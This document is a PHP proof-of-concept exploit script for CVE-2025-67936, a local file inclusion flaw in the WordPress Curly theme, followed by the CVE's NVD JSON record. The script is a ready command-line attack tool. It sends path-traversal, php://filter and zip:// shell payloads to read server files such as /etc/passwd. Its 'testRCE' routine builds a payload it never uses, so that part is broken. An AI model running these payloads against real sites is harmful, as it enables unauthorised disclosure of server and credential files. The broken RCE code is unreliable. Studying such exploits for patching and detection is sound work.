CVE-2025-67936

<?php /** * CVE-2025-67936 PoC - WordPress Curly Theme Local File Inclusion * Description: Improper Control of Filename for Include/Require Statement * Affected: Mikado-Themes Curly < 3.3 * CVSS: 8.1 (High) * * Usage: php poc.php [target_url] [vulnerable_param] [file_to_read] * Example: php poc.php http://target.com 'template' '/etc/passwd' */ class CurlyLFIExploit { private $targetUrl; private $paramName; private $targetFile; public function __construct($target, $param = 'template', $file = '/etc/passwd') { $this->targetUrl = rtrim($target, '/'); $this->paramName = $param; $this->targetFile = $file; } public function exploit() { echo "[*] CVE-2025-67936 Exploit - WordPress Curly Theme LFI\n"; echo "[*] Target: {$this->targetUrl}\n"; echo "[*] Parameter: {$this->paramName}\n"; echo "[*] File: {$this->targetFile}\n\n"; // Local File Inclusion payloads $payloads = [ $this->targetFile, '../../../../../../..' . $this->targetFile, 'php://filter/read=convert.base64-encode/resource=' . $this->targetFile, 'zip://path/to/malicious.zip#shell.php' ]; foreach ($payloads as $index => $payload) { echo "[*] Testing payload " . ($index + 1) . ": " . substr($payload, 0, 50) . "...\n"; $url = $this->targetUrl . '/?' . $this->paramName . '=' . urlencode($payload); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && !empty($response)) { echo "[!] Potential vulnerability detected!\n"; echo "[!] Response length: " . strlen($response) . " bytes\n"; return $response; } } echo "[-] No vulnerability detected with provided payloads\n"; return null; } public function testRCE($uploadedShellPath) { echo "[*] Testing RCE via LFI...\n"; $rcePayload = 'php://filter/read=convert.base64-encode/resource=' . $uploadedShellPath; return $this->exploit(); } } // CLI usage if (php_sapi_name() === 'cli' && isset($argv[1])) { $target = $argv[1]; $param = $argv[2] ?? 'template'; $file = $argv[3] ?? '/etc/passwd'; $exploit = new CurlyLFIExploit($target, $param, $file); $result = $exploit->exploit(); if ($result) { echo "\n[+] Response preview:\n" . substr($result, 0, 500) . "...\n"; } } ?>

{"cve": {"id": "CVE-2025-67936", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:52.810", "lastModified": "2026-02-03T19:16:14.787", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes Curly curly allows PHP Local File Inclusion.This issue affects Curly: from n/a through < 3.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qodeinteractive:curly:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "3.3", "matchCriteriaId": "9A882FBA-F99A-4655-A4A1-AC460EE4BA34"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/curly/vulnerability/wordpress-curly-theme-3-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}